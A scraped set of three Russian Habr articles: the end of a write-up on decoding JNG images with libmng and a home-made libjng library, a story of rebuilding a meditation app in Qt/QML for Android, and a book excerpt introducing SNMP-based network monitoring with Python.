mng_setcb_getcanvasline(hmng, mymnggetcanvasline);
/*Получение прошедшего времени. Используется для анимаций, но указатель на ней всё равно надо установить, иначе будет ошибка. В нашем случае это заглушка – пустышка. */
mng_setcb_gettickcount(hmng, mymnggettickcount);
/*Установка таймер. Также для анимаций, и снова у нас бесполезная заглушка. */
mng_setcb_settimer(hmng, mymngsettimer);
/*Данным колбэком libmng уведомляет программу, что необходимо перерисовать определённую область картинки. В сулчае если мы сразу грузим в буфер, возвращая финальные указатели в getcanvasline , то тут можно ни чего не делать.*/
mng_setcb_refresh(hmng, mymngimagerefresh);
```
Из колбэков приведу здесь лишь те, что представляют наибольший интерес
```
/*Чтение данных из файлов*/
static mng_bool mymngreadstream(mng_handle mng, mng_ptr buffer, mng_uint32 size, mng_uint32 *bytesread)
{
mng_info *mymng = (mng_info*)mng_get_userdata(mng);
*bytesread = fread(buffer, 1, size, mymng->file);
return MNG_TRUE;
}
mng_bool mymngprocessheader (mng_handle hHandle, mng_uint32 iWidth, mng_uint32 iHeight)
{
mng_info* mngInfo = (mng_info*)mng_get_userdata (hHandle);
/*устанавливаем желаемый формат пикселей*/
if (mng_set_canvasstyle (hHandle, MNG_CANVAS_RGBA8))
{
/*обрабатываем ошибку*/
return MNG_FALSE;
}
mngInfo->width = iWidth;
mngInfo->height = iHeight;
mngInfo->image = new unsigned char[iWidth * 4 * iHeight];//Выделяем память для пикселей
return MNG_TRUE;
}
mng_ptr mymnggetcanvasline(mng_handle hHandle, mng_uint32 iLinenr)
{
mng_info* mngInfo = (mng_info*)mng_get_userdata (hHandle);
/*вычисляем указатель на запрошенную строку*/
return mngInfo->image + mngInfo-> width * 4 * iLinenr;
}
```
Загрузка картинки.
```
/*Далее по коду я опускаю код проверок на ошибки.*/
/*Данная функция вычитывает и парсит все чанки из mng файла*/
retCode = mng_read(hmng);
/*проверяем – действительно ли мы открываем JNG. Наш код не рассчитан на полноценную работу с MNG*/
if(mng_get_sigtype (hmng) != mng_it_jng)
{
/*ошибка – неверный тип файла*/
}
```
Теперь собственно нам необходимо получить декодированные пиксели.
До сих пор всё несколько напоминало такие библиотеки как libng или jpeglib.
Далее идёт кардинальное отличие, так как libmng изначально расчитанно на анимированные картинки.
```
/*циклически вызываем mng_display_resume пока libmng не отобразит все пиксели из картинки*/
retCode = mng_display(hmng);
while((retCode == MNG_NEEDTIMERWAIT) && (mngInfo.timer <= 1))
{
retCode = mng_display_resume(hmng);
}
/*по завершению цикла – декодированные пиксели лежат в pixels нашей структуры mng_info*/
```
Далее остаётся только очистить ресурсы, выделенные libmng
```
mng_cleanup(&hmng);
```
Ну и не забываем закрыть наши потоки, освободить память и т.п.
Как видите ни чего сложного. Однако в моём случае одна особенность libmng оказалась фатальной, и заставила меня заняться велосипедостроительством.
Дело в том, что libmng при декодировании картинки у себя внутри выделяет буфер равный width \* bpp \* height. В моём мне надо было загрузить текстуру 2048x2048 в формат 5551. Сам libmng такой формат не поддерживает. Получается что мне тоже пришлось выделять буфер 2048\*2048\*4, грузить в него, а дальше перегонять в двухбайтный формат. Получился оверхэд в 32 мегабайта (плюс вес самого файла картинки, т.к. он достаётся из архива)! В какой-то момент у игры просто кончилась память. Поковыряв весьма запутанные внутренности libmng я понял что с наскоку одолеть эту проблему я не смогу и решил посмотреть в сторону – а не смогу ли я сам загрузить картинку, без помощи libmng, тем более, что сам формат не выглядел особо страшным, а на хабре уже была статья (к сожалению уже её удалили) где проделывали подобный трюк, но только в броузере.
##### libjng
Так я родил libjng ( [code.google.com/p/libjng](http://code.google.com/p/libjng/) ) – простую библиотеку, которая только и умеет, что загружать jng. Библиотека – это слишком громкое слово. На самом деле она состоит из одного заголовочного файла и одного файла – исходник на C.
Плюсы:
— простое в использовании API;
— компактная – исходник с заголовочным файлом — 74 килобайта (бинарник немногим больше);
— позволяет загружать альфа канал без изменений битности (удобно, когда надо грузить в форматы типа 5551);
— и главное – позволяет декодировать файл по строкам, как libpng и jpeglib;
— может декодировать картинку сразу из буфера, не дублируя данные, а можно выгружать блоки из потоков, установив колбэки.
Недостатки:
— не умеем выдавать данные в 16 битах на канал (хотя в теории загрузить jng где JPEG будет иметь 12 бит на сэмпл, или альфа будет 16 бит – должно получится)
— тоже зависим от сторонних библиотек – jpeglib, zlib.
В месте с библиотекой в репозитарии лежит небольшой пример, позволяющий загрузить jng и сдампить пиксели в tga формат (т.к. это самый простой формат графики).
Краткий пример использования libjng (вариант использования, когда уже вся картинка загружена в память).
```
/*подключаем заголовочный файл*/
#include "jng_load.h"
/*определяем колбэки – их минимум*/
void* my_jng_alloc(size_t size)
{
return malloc(size);
}
void my_jng_free(void* ptr)
{
free(ptr);
}
void my_jng_errorproc(jng_handle handle, int errorCode, unsigned long chunkName, unsigned long chunkSeq, const char* erorText)
{
printf("JNG error %d! chunk = %d, chunkSeq = %d, text = %s\r\n", errorCode, chunkName, chunkSeq, erorText);
}
/*
imageSize – размер буфера, содержащего данные картинки
imageBuffer – буфер с загруженными данными
*/
jng_handle handle;
handle = jng_create_from_data(NULL, imageBuffer, imageSize, my_jng_alloc, my_jng_free, my_jng_errorproc, JNG_FLAG_CRC_CRITICAL);/*флагами говорим что надо проверять crc только у критических чанков.*/
if(!handle)
{
/*
Ошибка создания хэндла – или передали неверные параметры, или данные.
Код ошибки был скинут в errorproc
*/
}
/*Вычитываем и парсим чанки. Проверяем их целостность, порядок, наличие всех необходимых чанков.*/
if(!jng_read(handle))
{
jng_cleanup(handle);
/*обрабатываем ошибку*/
}
/*получаем информацию о картинке*/
imageWidth = jng_get_image_width(handle);
imageHeight = jng_get_image_height(handle);
/*настраиваем формат пикселей, в которых хотим получать результат*/
jng_set_out_alpha_channel_bits(handle, JNG_OUT_BITS_8);
jng_set_out_color_channel_bits(handle, JNG_OUT_BITS_8);
jng_set_out_color_space(handle, JNG_RGB);
jng_set_color_jpeg_src_type(handle, JNG_JPEG_SRC_DEFAULT);/*потенциально, в будущем можно будет выбирать между 8 и 12 битными jpeg картинками – JNG может содержать сразу оба варианта*/
/*инциализируем декодер – создаётся декодер(ы) для jpeg и для png, если таковой нужен*/
if(!jng_start_decode(handle))
{
jng_cleanup(handle);
/*ошибка*/
}
/*вычисляем размер буфера под картинку*/
colorBytesNum = jng_get_out_color_channel_bytes(handle);
alphaBytesNum = jng_get_out_alpha_channel_bytes(handle);
colorComponentsCount = jng_get_out_color_components_num(handle);
if(!colorBytesNum || !colorComponentsCount)
{
jng_finish_decode(handle);
jng_cleanup(handle);
/*и снова ошибка?!*/
}
/* вообще значение bpp можно было бы захардкодить, т.к. мы заранее настраиваем определённый формат пикселя * /
pixelBytesNum = colorBytesNum * colorComponentsCount + alphaBytesNum;
rowPitch = pixelBytesNum * imageWidth;
pixelBufferSize = rowPitch * imageHeight;/*финальный размер буфера для пикселей*/
/*
Выделяем выходной буфер.
Если, к примеру, надо будет грузить в 5551 и нет смысла выделять буфер с 32х битными пикселями под размер всей картинки – достаточно выделить буфер под одну строку, грузить построчно и конвертировать в нужный формат. Таким образом оверхэд будет только на размер одной строки.*/
pixelBuffer = (unsigned char*)malloc(pixelBufferSize);
```
Построчное чтение картинки (действительно построчное – из оверхэда четыре-пять буферов, способных вместить строку для цвета и для альфы).
```
unsigned char* imageLinePtr = (unsigned char*)pixelBuffer;
for(currentLine = 0; currentLine < imageHeight; currentLine++)
{
if(!jng_read_scanline(handle, imageLinePtr))
{
/*ошибка при попытке вычитать строку*/
readRes = -1;
break;
}
imageLinePtr += rowPitch;
}
/*освобождение ресурсов*/
jng_finish_decode(handle);
jng_cleanup(handle);
/*That’s All, Folks!*/
```
#### Вкратце, как это устроенно.
Формат JNG, как и MNG состоит из набора чанков (кусков). Каждый чанк содержит заголовок – 4-е байта — размер данных, 4-е байта — идентификатор типа, опционально данные и в конце 4-е байта — crc. Как видим вычитать и распарсить такую структуру – задача элементарная.
Нам нужно разбирать такие чанки:
JHDR – залоговок файла – описывает размер картинки, форматы сжатия, битность и прочее;
JDAT – чанк сожержащий цветовые данные картинки. Обычный JPEG (если выгрызти этот блок в хекс редакторе в отдельный файл, то можно прекрасно открывать его в любом просмотрщике);
JSEP – разделяет чанки JDAT, если их в картинке лежат одновременно восьми и двенадцати битные JPEG картинки (между такими чанками может появлятся только JSEP, но не какие другие данные);
JDAA – альфа канал, пожатый в JPEG – тут всё также как и с JDAT, но только может быть один, восьмибитный JPEG в оттенках серого;
IDAT – альфа канал, запакованный также, как пакуются пиксели в PNG.
IEND – конец картинки.
Как цветовая часть данных, так и альфаканал могут быть разбиты на несколько чанков. Надо просто последовательно их вычитывать и склеивать данные.
С данным в jpeg всё просто – тут настраивается jpeglib и далее декдоируем построчно данные через jpeglib. С IDAT несколько сложнее. libpng мы не прикрутим, т.к. это не полноценная png, а по сути лишь один из чанков из png.
Сами данные в IDAT лежат построчно, запакованны они при помощи zlib. Строка начинается с байта-маркера, означающего тип фильтрации, а далее сами данные. Таким образом декодирование сводится к тому, что мы распаковываем строку (zlib inflate), проверяем первый байт, фильтруем (это довольно таки обьёмная тема и кому интересно — советую заглянуть внутрь pnglib в файл pngrutil.c, функцию png\_read\_filter\_row), далее если в одном байте упаковано более одного пикселя – распаковываем их в отдельные байты и при надобности расширяем до байта или слова.
Некоторые фильтры требуют наличия данных из предыдущей строки – поэтому добавляется оверхэд в ещё одну строку. Однако фильтрация производится не над пикселями а над байтами данных, поэтому если у нас меньше восьми бит на пиксель, то и оверхэд при распаковке будет меньше.
За сим всё – надеюсь текст был вам интересен и полезен. Вкратце я постарался осветить не только прикладную сторону использования JNG но и немного коснулся теории, ради любопытства. | https://habr.com/ru/post/155547/ | null | ru | null |
# Qt на Android: как мы дали вторую жизнь приложению с авторскими медитациями
 Краткое лирическое вступление — в 2017 году мне случилось очень плотно заинтересоваться медитациями. Этому способствовала целая цепочка событий, благоприятных и не очень. Я долгие годы интересуюсь и практикую осознанные сновидения, однако конкретно медитациями в их каноническом виде до этого заниматься не приходилось. В эти дни многие ~~истории начинаются в баре (с)~~ увлечения начинаются с поиска в Google, вот и я начал именно так. Практически сразу нашлись топовые по популярности приложения для занятия медитацями — Calm и Headspace.
Первое послужило неплохое отправной точкой (отличные обучающие медитации для начинающих), второе я не нашел для себя полезным, не понравилась подача. Оба оттолкнули своими платными (и надо сказать весьма дорогостоящими для РФ) тарифными планами. Возможно я просто не отношусь к категории людей, которым нужно заплатить, чтобы подбадривать себя чем-то заниматься :) Продолжная изучать Google play, я наткнулся на два близких мне по духу бесплатных приложения. Первое это "Let's Meditate" — я пользуюсь им по сей день, о втором речь пойдет в теле статьи.
Приложение
==========
Итак, после достаточно долгих поисков нашлось совершенно неприметное приложение, называлось оно тогда, если не ошибаюсь, "Медитации. Антонов Александр". Как выяснилось, в нем можно было прослушать четыре авторские медитации, записанные и оформленные, собственно, Александром, с которым мы в дальнейшем познакомились и подружились. Приложение он собрал буквально из подручных средств самостоятельно, это было что-то вроде самодельного SPA с помощью WebView без каких-либо фреймворков, практически на "голом" HTML и минимально на Java. Выглядело оно так себе, да и некоторые функции просто отсутствовали (например, нельзя было перемещаться по записи, а только включить с начала). Поскольку мне очень понравился сам контент, я предложил Александру свою безвозмездную помощь в облагораживании приложения, чтобы, так сказать, "отдать что-то назад" по принципу "помогли мне, помогу и я". В теле статьи я постараюсь рассказать, с какими проблемами мы столкнулись при разработке, какие решения были приняты, и что получилось в конечном итоге! Надеюсь, отдельные рецепты статьи будут кому-либо полезны, а чтиво интересным :)
Первая стадия разработки
========================
Итак, мы поставили перед собой цели:
* Сохранить оригинальный функционал приложения
* Улучшить UI приложения и UX пользователя
* Обойтись минимальной сложностью реализации
### Qt
Резюмируя вышесказанное — возникла необходимость быстро сделать приложение с достаточно скромным функционалом (пока), код которого был бы понятен человеку с начальным опытом программирования на PHP/HTML. Размышлял я, откровенно говоря, недолго, выбор пал в пользу Qt, поскольку:
* У меня уже был большой опыт разработки на Qt (под Symbian, MeeGo, Ubuntu Phone и немного под Android);
* Возможность прозрачной разработки на десктопе, с последующей чистовой проверкой на целевом устройстве;
* Приложние можно создать на чистом QML, без использования C++. Наверняка читатель знает, но уточню — это JavaScript-like язык разметки, в нем может разобраться и любитель;
* В перспективе возможен прозрачный релиз на iOS (без доработки кода).
**Спойлер**
Забегая вперед могу сказать, что это было правильное решение — мы оба сошлись на этом, выпустив два крупных релиза приложения.
### Построение и компоновка UI
Хороший разработчик и хороший дизайнер редко сосуществуют в одном теле, поэтому пришлось конкретно попотеть, чтобы придумать нечто симпатичное и удобное. Медитации в приложении для прослушивания медитаций должны занимать центральное место, поэтому я придумал большую и заметную кнопку, на которой разместились иконки отдельных медитаций. В дальнейшем мы ее не меняли, она стала своего рода сигнатурной для нашего приложения. В итоге получился вот такой интерфейс главной (светлая и темная темы):
Все компоновку элементов интерфейса я делал и рекомендую делать "винтажными" anchors, Row, Column и Repeater. Это немного многословная, однако очень предсказуемая и хорошо себя ведущая на мобильных устройствах технология позиционирования элементов UI. Привожу код кнопки, в котором есть все описанные выше средства (самый большой листинг статьи):
```
Button {
id: mainButton
anchors {
left: parent.left
right: parent.right
}
height: btnLayout.height + 30
Material.background: "white"
onClicked: stackView.push(Qt.resolvedUrl("qrc:/qml/MeditationListPage.qml"))
Column {
id: btnLayout
spacing: 10
anchors {
top: parent.top
topMargin: 15
left: parent.left
right: parent.right
margins: 10
}
Row {
anchors.horizontalCenter: parent.horizontalCenter
spacing: (mainButton.width - 4 * 50) / 6
Repeater {
model: meditationModel
RoundedIcon {
source: Qt.resolvedUrl("qrc:/img/my%1.png".arg(model.index))
color: model.color
width: 50
height: 50
}
}
}
Label {
text: qsTr("Медитации")
font.pointSize: 14
color: "dimgrey"
anchors.horizontalCenter: parent.horizontalCenter
}
Label {
text: "В данном разделе Вы можете ознакомиться со списком медитаций, чтобы затем выбрать себе подходящую"
anchors {
left: parent.left
right: parent.right
}
horizontalAlignment: Text.AlignHCenter
Material.foreground: Material.Grey
font.pixelSize: 12
wrapMode: Text.WrapAtWordBoundaryOrAnywhere
}
}
}
```
В коде UI есть магические константы, и до поддержки HDPI в Qt приходилось оборачивать их в вызовы специального транслятора. Сейчас такой проблемы нет, нужно всего лишь включить нужную опцию Qt: `QCoreApplication::setAttribute(Qt::AA_EnableHighDpiScaling);`. Ввиду этого все константы решено было оставить "как есть".
В качестве темы визуального оформления был выбран Material design, поскольку он родной на Android и в Qt Quick Controls 2 есть его полноценная поддержка. Так же очень помогают статьи документации вроде этой <https://doc.qt.io/qt-5/qtquickcontrols2-material.html>. Чтобы придать отдельным медитациям некоторую уникальность и визуальную отличимость, я решил воспользоваться стандартными цветами Material design. UI на странице прослушивания медитации учитывает цветовую гамму, выставляя attached property `Material.accent` в нужный цвет.
### Проблема больших ресурсов
Непосредственно mp3-файлы медитаций было решено поместить в ресурсы приложения, а именно в QRC. Файлы занимают порядка 10-15 мб каждый. Последующая компиляция вызвала у меня недоумение — она длилась дольше, а использование ОЗУ процессом в пике подскочило до 15 Гб. Оказалось, что для больших ресурсов существует специальная, слабодокументированная [опция](https://bugreports.qt.io/browse/QTBUG-50468) pro-файла:
```
CONFIG += resources_big
```
Она помогла мне, и, надеюсь, поможет читателю в трудный час.
### Ночной режим
Поскольку многие пользуются подобными приложениями в темное время суток, было решено реализовать "ночной режим". Я уже делал нечто подобное для приложения Shorts, там мы решили задачу очень просто, с помощью шейдера. Привожу код `DarkModeShader.qml`:
```
ShaderEffect {
fragmentShader: "
uniform lowp sampler2D source;
uniform lowp float qt_Opacity;
varying highp vec2 qt_TexCoord0;
void main() {
lowp vec4 p = texture2D(source, qt_TexCoord0);
p.r = min(0.8, (1.0 - p.r) * 0.8 + 0.1);
p.g = min(0.8, (1.0 - p.g) * 0.8 + 0.1);
p.b = min(0.8, (1.0 - p.b) * 0.8 + 0.1);
gl_FragColor = vec4(vec3(dot(p.rgb, vec3(0.299, 0.587, 0.114))), p.a) * qt_Opacity;
}
"
}
```
Используется он следующим образом:
```
StackView {
// ...
layer.effect: DarkModeShader { }
layer.enabled: optionsKeeper.isNightMode
}
```
Т.е. накладывается как эффект на котрол, включается или выключается опцией `isNightMode`. Благодаря связыванию свойств в Qt не понадобилась абсолютно никакого кода для включения/выключения ночного режима (кроме кнопки, конечно).
*Кстати, у данного шейдера есть небольшой баг — очень блекло отображается желтый цвет. Если кто-то знает, как поправить — буду очень признателен!*
### Прочее
Вопрос проигрывания аудио был решен с помощью Qt Multimedia, а именно типа `Audio`. Он умеет проигрывать mp3, не выключается при блокировке экрана, поддерживает операцию перемотки — это все, что было на нужно на тот момент:
```
Audio {
id: audioPlayback
source: meditAudioSource
}
// ...
Slider {
anchors {
left: parent.left
right: playBtn.left
verticalCenter: parent.verticalCenter
}
from: 0
to: audioPlayback.duration
value: audioPlayback.position
onMoved: audioPlayback.seek(value)
Material.accent: meditColor
}
```
Настройки решено было хранить в ~~нестареющем~~ `Settings` из `Qt.labs.settings` (серьезно, не понимаю, почему он никак не вырастет из labs):
```
import Qt.labs.settings 1.0
// ... Опущен boilerplate-код опций, который кочует со мной из проекта в проект.
property Settings settings: Settings {
property bool isNightMode: false
}
```
Обновленная версия приложения увидела свет в начале 2018 года, аудитория встретила ее очень тепло.
Вторая стадия разработки
========================
Собственно, спустя примерно два года, в конце апреля 2020, мне пришла идея доработать в приложении функционал, который когда-то задумывался, но так не увидел свет — загрузку дополнительных медитаций (я уже заспойлерил эту опцию на скриншоте выше). За это время у Александра накопилось несколько новых записей, а у меня — благодаря карантину — немного свободного времени :)
### Интеграция
Продолжая следовать правилу сохранения минимальной сложности, решили сформировать на сервере JSON-файл с описанием доступных для загрузки медитаций. Файлы аудиозаписей при этом отдаются как статика. В приложении для осуществления HTTP-запросов используется QML-обертка над `XMLHttpRequest` (для прозрачной и простой работы с JSON в QML). О ней я уже писал ранее в своей прошлой [статье](https://habr.com/ru/post/230435/).
### База данных
Совершенно неотвратимой стала необходимость хранения перечня загруженных медитаций. QML позволяет из коробки воспользоваться [LocalStorage](https://doc.qt.io/qt-5/qtquick-localstorage-qmlmodule.html), а именно полноценной SQLite. Всю работу с БД удобно вынести в отдельный JS-файл, который затем импортируется в QML, например:
```
// databasemodule.js
.pragma library // I hope this will prevent the waste of memory.
.import QtQuick.LocalStorage 2.0 as SQL
function getMeditations() {
...
}
// TransferManager.qml
import "databasemodule.js" as DB
...
var syncedItems = DB.getMeditations()
```
Непосредственно работа с БД осуществляется примерно следующим образом:
```
var db = SQL.LocalStorage.openDatabaseSync("AMeditation", "", "Main DB", 100000)
...
db.transaction(function(tx) {
dbResult = tx.executeSql("SELECT * FROM meditations")
console.log("meditations SELECTED: ", dbResult.rows.length)
})
```
Т.е. открывается соединение, затем в функцию `transaction` передается callback. Он будет вызван синхронно (и это хорошо, потому что в Qt другие средства для обеспечения асинхронности).
Отдельно стоит рассмотреть тему версионирования. Функция `openDatabaseSync` подразумевает передачу версии вторым параметром. Это сделано для того, чтобы можно было открыть БД разных версий (не уверен, часто ли это бывает нужно на практике). Однако с помощью это особенности легко реализовать процедуру миграции БД. Дело в том, что если передать пустую строку, то откроется БД самой последней версии, которую уже можно догнать до целевой. Я организовал миграции как тройки ["версия с", "версия на", "код миграции"]:
```
var migrations = [
{'from': "", 'to': "1.0", 'ops': function(transaction) {
transaction.executeSql("CREATE TABLE meditations ( \
id INTEGER PRIMARY KEY
...
status TEXT);")
}}
,{'from': "1.0", 'to': "1.1", 'ops': function(transaction) {
transaction.executeSql("ALTER TABLE meditations ADD quality TEXT;")
}}
]
```
При запуске приложения открывается база, затем на ней прогоняются нужные миграции (с небольшой особенностью реализации — в виде бесконечного цикла, пока хоть какие-то изменения происходят).
### C++
Загрузку и сохранение аудиозаписей в память устройства не реализовать с помощью QML, поэтому пришлось прибегнуть к помощи C++. Я взял реализацию менеджера загрузок из своего клиента Яндекс.Диска для Ubuntu Phone. Он умеет скачивать или закачивать одномоментно по одному файлу. Очередь операций в клиенте и в текущем приложении была реализована на QML в пользу все того же аргумента — простоты и стабильности реализации. Сделать видимым свой C++-объект в QML всегда было просто:
```
engine.rootContext()->setContextProperty("networkManager", new NetworkManager());
```
В QML теперь можно написать что-то вроде:
```
// Инициация загрузки.
var isSucces = networkManager.download(downloadUrl, currentDownload.localUrl)
...
// Прослушивание событий.
Connections {
target: networkManager
onDownloadOperationProgress: {
d.currentDownload.current = current
d.currentDownload.total = total
}
...
}
```
Так же понадобились несколько утилитарных C++-функций, их я организовал в QML-ный [singletone](https://doc.qt.io/qt-5/qtquick-localstorage-qmlmodule.html) :
```
// cpputils.h
class CppUtils : public QObject
{
Q_OBJECT
public:
explicit CppUtils(QObject *parent = nullptr);
~CppUtils();
Q_INVOKABLE bool removeFile(const QString& fileName) const;
static QObject *cppUtilsSingletoneProvider(QQmlEngine *engine, QJSEngine *scriptEngine);
};
// main.cpp
qmlRegisterSingletonType("AMeditation.CppUtils", 1, 0, "CppUtils", CppUtils::cppUtilsSingletoneProvider);
```
Т.е. создается специальный класс, у которого есть функция получения синглотна `cppUtilsSingletoneProvider`, а нужные методы обозначены как Q\_INVOKABLE — это позволяет "видеть" их из QML. В QML используется вот так:
```
import AMeditation.CppUtils 1.0
// ...
CppUtils.removeFile(cd.localUrl)
```
### Кэширование изображений
Загрузка аудиозаписей для оффлайн прослушивания является необходимостью, из-за которой пришлось пойти на намеренное усложнение приложения. Однако помимо аудио у медитаций есть еще один присущий им элемент — иконка. Она тоже хранится на сервере, и если каким-то специальным образом ее не загрузить, то в оффлайне она показываться не будет. Отдельные шаги по загрузке иконок в пайплайн скачивания медитации вставлять не хотелось, поэтому было принято решение зайти с другой стороны. Движок QML позволяет задать фабрику для сетевых менеджеров (QNetworkAccessManager). Это дает возможность подсунуть движку свой менеджер с правильными настройками кэширования. Делается примерно следующим образом:
```
// cachingnetworkmanagerfactory.h
class CachingNetworkAccessManager : public QNetworkAccessManager
{
public:
CachingNetworkAccessManager(QObject *parent = 0);
protected:
QNetworkReply* createRequest(Operation op, const QNetworkRequest &req, QIODevice *outgoingData = 0);
};
class CachingNetworkManagerFactory : public QQmlNetworkAccessManagerFactory
{
public:
CachingNetworkManagerFactory();
QNetworkAccessManager *create(QObject *parent);
};
// cachingnetworkmanagerfactory.cpp
QNetworkReply* CachingNetworkAccessManager::createRequest(Operation op, const QNetworkRequest &request, QIODevice *outgoingData)
{
QNetworkRequest req(request);
req.setAttribute(QNetworkRequest::CacheLoadControlAttribute, QNetworkRequest::PreferNetwork);
return QNetworkAccessManager::createRequest(op, req, outgoingData);
}
QNetworkAccessManager *CachingNetworkManagerFactory::create(QObject *parent) {
QNetworkAccessManager* manager = new CachingNetworkAccessManager(parent);
QNetworkDiskCache* cache = new QNetworkDiskCache(manager);
cache->setCacheDirectory(QString("%1/network").arg(QStandardPaths::writableLocation(QStandardPaths::CacheLocation)));
manager->setCache(cache);
return manager;
}
```
Т.е. менеджерам с помощью `setCache` настраивается кэширование, а в переопределении `createRequest` настраиваются детальности настройки кэширования для каждого запроса. У меня в реализации очень просто — всегда предпочитается сеть, иначе кэш.
### Сборка под Android
Для сборки потребуется SDK и NDK. По опыту рекомендую проделывать в Linux-подобных операционных системах, поскольку под Windows периодически что-то отваливается или ломается (например, в недавнем порыве сделать все удобным и прозрачным, в QtCreator 4.12 сломали возможность указать путь к NDK, пришлось шаманить с путями). В последних версиях NDK используется Clang. Собрать можно как arm\_v7 (32 бита), так и arm\_v8a (64 бита; Google play с 2019 года требует обязательно предоставлять такую сборку). Собранные приложения без проблем заливаются в Google play.
Релиз второго крупного обновления произошел буквально на днях, поэтому пока непонятно, как отреагировала аудитория.
Итог
====
* Qt отличнейшим образом себя показал как инструмент для разработки pet-проектов, для некоммерческой разработки под Android. Мы очень быстро итерировались и проверяли идеи;
* Получившееся в результате приложение AMeditation (или как написано в UI маркета "Медитации 2.1. Антонов Александр") имеет порядка 10к+ загрузок и 250 отзывов, большинство из которых положительные (однако есть и отрицательные, некоторые пользователи недовольны качеством аудио, а ведь мы старались ужаться в небольшой размер ).
* Мы приятно провели время и, судя по отзывам, помогли множеству людей решить самые разные проблемы!
* Пока не релизнулись на iOS ввиду отсутствия яблочных устройств и разработческих аккаунтов.
В общем, разрабатывать на Qt весело, делать что-то бесплатно и для души — тоже!
P.S. Уважаемые Хабровчане, надеюсь, не сочтите за рекламу — приложение принципиально бесплатное и некоммерческое, хотелось рассказать о нем и об истории его создания интересующимся, ровно как и поделиться удачно найденными подходами к разработке.
P.S.S. У приложения есть его близнец версии 1.1 с более старыми записями, у которого еще 5к+ загрузок и 100 отзывов. Вероятно, скоро уберем из магазина.
**Ссылки**
Код: <https://github.com/QtRoS/ameditation>
Google play: <https://play.google.com/store/apps/details?id=com.antonovpsy.meditation2&hl=ru> | https://habr.com/ru/post/501456/ | null | ru | null |
# Книга «Python для сетевых инженеров. Автоматизация сети, программирование и DevOps»
[](https://habr.com/ru/company/piter/blog/681618/) Привет, Хаброжители!
Сети образуют основу для развертывания, поддержки и обслуживания приложений. Python — идеальный язык для сетевых инженеров, предлагающий инструменты, которые ранее были доступны только системным инженерам и разработчикам приложений. Прочитав эту книгу, вы из обычного сетевого инженера превратитесь в сетевого разработчика, подготовленного ко встрече с сетями следующего поколения.
Третье издание полностью переработано и обновлено для использования Python 3. Помимо новых глав, посвященных анализу сетевых данных с помощью стека ELK (Elasticsearch, Logstash, Kibana и Beats) и Azure Cloud Networking, в него включены сведения по использованию Ansible и фреймворков pyATS и Nornir. Кроме того, были обновлены примеры для лучшего понимания концепций и обеспечения совместимости.
**Для кого эта книга**
Эта книга идеально подойдет ИТ-специалистам и инженерам, которые занимаются администрированием сетевых устройств и хотят расширить свои знания о Python и других инструментах для решения сетевых проблем. Желательно иметь хотя бы базовое понимание сетевых технологий и Python.
### Сетевой мониторинг с использованием Python: часть 1
Представьте, что вам позвонили в два часа ночи из центра управления сетью вашей компании. Вы подняли трубку и слышите следующее: «Здравствуйте, у нас возникла серьезная проблема, которая сказывается на работе наших промышленных сервисов. Мы подозреваем, что она может быть связана с сетью. Можете проверить?» Что бы вы ответили в такой неотложной ситуации? В большинстве случаев на ум приходит следующее: какие изменения вносились перед тем, как возникли проблемы? Вы, скорее всего, откроете систему мониторинга и проверите, какие метрики поменялись за последние пару часов. А еще лучше, если вы уже получили оповещение, что определенные показатели вышли за рамки нормального диапазона.
На страницах книги мы постоянно обсуждаем способы систематического внесения предсказуемых изменений в сетевую конфигурацию, чтобы обеспечить максимально беспроблемную работу сети. Однако сети далеко не статические — это, наверное, одна из самых изменчивых частей вашей инфраструктуры. Они по определению соединяют разные инфраструктурные компоненты, постоянно передавая трафик туда-сюда.
Сеть может перестать работать так, как мы того от нее ожидаем, по множеству причин: аппаратные сбои, ошибки в программном обеспечении, ошибки, допущенные людьми (несмотря на благие намерения), и многое другое. Вопрос не в том, пойдет ли что-то не так, а скорее — когда это случится и что именно при этом сломается. Мы всегда должны следить за работой нашей сети, и желательно получать уведомления в случае возникновения проблем.
В этой и следующей главах мы рассмотрим разные способы организации мониторинга сети. Многие инструменты, которые мы уже рассмотрели, можно объединять или напрямую использовать с помощью Python. Как и многие другие механизмы, о которых мы узнали, сетевой мониторинг состоит из двух частей.
Первое: нам нужно понять, какую информацию наше оборудование способно передавать. И второе: мы должны определить, какие полезные сведения мы можем из нее извлечь.
Начнем эту главу с обзора инструментов для эффективного мониторинга сети, таких как:
* подготовка лаборатории;
* протокол SNMP (Simple Network Management Protocol — простой протокол сетевого управления) и сопутствующие библиотеки для работы с ним в Python;
* библиотеки визуализации для Python:
* Matplotlib и примеры;
* Pygal и примеры;
* интеграция Python с MRTG и Cacti для визуализации сети.
Это далеко не полный список. На рынке сетевого мониторинга явно нет недостатка в коммерческих решениях. Но для простых задач, которые мы будем рассматривать, хорошо подойдут как коммерческие, так и открытые инструменты.
### Подготовка лаборатории
Здесь наша лаборатория — как в главе 6, но с одним отличием: оба сетевых устройства будут работать под управлением IOSv (рис. 7.1).
Два хоста с Ubuntu будут генерировать сетевой трафик, чтобы мы могли получить ненулевые метрики.
### SNMP
SNMP — это стандартный протокол администрирования устройств и сбора сведений о них. По моему опыту, большинство сетевых администраторов используют SNMP только в качестве механизма получения информации. Поскольку SNMP работает поверх протокола UDP, который не поддерживает постоянных соединений, и учитывая относительно слабую защиту в версиях 1 и 2, внесение изменений в конфигурацию устройств с помощью SNMP вызывает у операторов сетей некоторое беспокойство. В версии 3 появилась поддержка шифрования, а также новые концепции и терминология, но ее внедрение зависит от поставщика оборудования.
Протокол SNMP был представлен в 1988 году, описан в RFC 1065 и широко применяется в сетевом мониторинге. Работать с ним просто: диспетчер шлет устройству GET- и SET-запросы, а устройство, если на нем установлен SNMP-агент, возвращает в ответ информацию. Самый распространенный стандарт — SNMPv2c, описанный в RFC 1901 — RFC 1908. Для защиты в нем применяется простой механизм безопасности, разработанный сообществом. В нем также появились новые возможности, такие как получение массивов информации. На рис. 7.2 показан общий принцип работы SNMP.
Информация, хранящаяся на устройстве, структурирована в базе управляющей информации (Management Information Base, MIB). MIB использует иерархическое пространство имен с идентификатором объекта (Object Identifier, OID), представляющее сведения, которые можно прочитать и вернуть запрашивающей стороне. Говоря об извлечении информации с помощью SNMP, мы на самом деле имеем в виду использование управляющего хоста для выполнения запроса по определенному OID, который возвращает нужные нам данные. Производители устройств используют общие OID для своих систем и интерфейсов. Но некоторые OID могут предоставляться специально для отдельных предприятий.
